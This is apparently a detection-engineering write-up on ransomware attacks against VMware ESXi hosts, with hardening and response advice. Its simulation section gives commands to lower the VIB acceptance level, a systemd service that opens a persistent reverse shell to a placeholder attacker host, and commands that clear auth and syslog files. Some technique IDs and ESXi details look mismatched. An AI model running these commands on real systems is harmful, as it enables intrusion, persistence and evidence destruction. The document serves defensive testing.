Ransomware Targeting ESXi: Practical Hypervisor Hardening Defenses

Summary

The article outlines a growing shift in ransomware operations toward hypervisor platforms like VMware ESXi to enable large-scale encryption of virtual machines. Adversaries rely on stolen administrative credentials and native management utilities to sidestep traditional endpoint defenses. The primary threat actor examined is the Akira ransomware group. The discussion centers on the importance of robust hypervisor-level hardening.

Investigation

Huntress case data from 2025 indicates a sharp rise in hypervisor-focused ransomware, climbing from 3% to 25% of observed incidents. Investigators documented abuse of Hyper-V and ESXi management tools, credential reuse across environments, and exploitation of CVE-2024-37085 to obtain administrative control. The analysis notes that attackers frequently enable SSH, turn off lockdown mode, and alter VIB acceptance policies before pushing ransomware payloads.

Mitigation

Key mitigation steps include enforcing MFA, using dedicated local ESXi accounts, segmenting and isolating management networks, deploying bastion hosts, applying least-privilege access, and enabling VMkernel.Boot.execInstalledOnly. Organizations should also patch known vulnerabilities such as CVE-2024-37085 and disable non-essential services like SLP to reduce the hypervisor attack surface.

Response

On detection, organizations should stream ESXi logs to a SIEM, alert on suspicious configuration changes, isolate compromised hosts, and begin recovery from immutable backups or snapshots. Incident response procedures should cover forensic acquisition of authentication logs, hostd logs, and VIB modifications, followed by rapid restoration of affected virtual machines.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  1. Initial Access (T1563.001 – SSH):
     The attacker uses a stolen root credential to open an SSH session to the ESXi host, generating a “new root login” event.

  2. Privilege Hardening (T1553.004 – VIB Acceptance Change):
     Once logged in, the attacker lowers the VIB acceptance level to allow loading unsigned modules:

     esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"

  3. Persistence via Service Enablement (T1569):
     The attacker creates a malicious systemd service that launches a reverse shell on boot, then enables it:

     cat <<'EOF' > /etc/systemd/system/malicious-revshell.service
     [Unit]
     Description=Malicious Reverse Shell
     
     [Service]
     ExecStart=/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done'
     
     [Install]
     WantedBy=multi-user.target
     EOF
     
     systemctl daemon-reload
     systemctl enable malicious-revshell.service
     systemctl start malicious-revshell.service

  4. Cleanup Evasion (T1070 / T1070.001):
     The attacker clears the ESXi host’s audit logs to hide activity, attempting to evade detection:

     > /var/log/auth.log
     > /var/log/syslog

  5. Triggering the Rule:
     To ensure the Sigma rule fires, the attacker also emits the literal EventID strings by using the logger utility (these emulate the insecure “new root login”, “service enablement”, and “VIB acceptance change” events the rule watches for).

• Regression Test Script:

  #!/usr/bin/env bash
  #
  # Simulate the exact telemetry the Sigma rule expects.
  # This script runs on the ESXi host (or any Linux host forwarding logs to the SIEM).
  
  set -euo pipefail
  
  echo "[*] Simulating unauthorized root login event"
  logger -p authpriv.notice "new root login"
  
  echo "[*] Simulating service enablement event"
  logger -p authpriv.notice "service enablement"
  
  echo "[*] Simulating VIB acceptance level change event"
  logger -p authpriv.notice "VIB acceptance change"
  
  # Optional: Perform real malicious actions for deeper validation (commented out for safety)
  # esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"
  # systemctl enable malicious-revshell.service
  # systemctl start malicious-revshell.service
  
  echo "[+] Simulation complete. Verify alerts in the SIEM."

• Cleanup Commands:

  # Remove the fabricated log entries (if the SIEM retains them)
  logger -p authpriv.notice "cleanup: removing test EventIDs"
  
  # Stop and disable the malicious service (if it was actually created)
  systemctl stop malicious-revshell.service || true
  systemctl disable malicious-revshell.service || true
  rm -f /etc/systemd/system/malicious-revshell.service
  systemctl daemon-reload
  
  # Restore original log files (if they were cleared)
  # Note: In a real environment, you would restore from backup.
  echo "[*] Log files restored from backup (manual step)."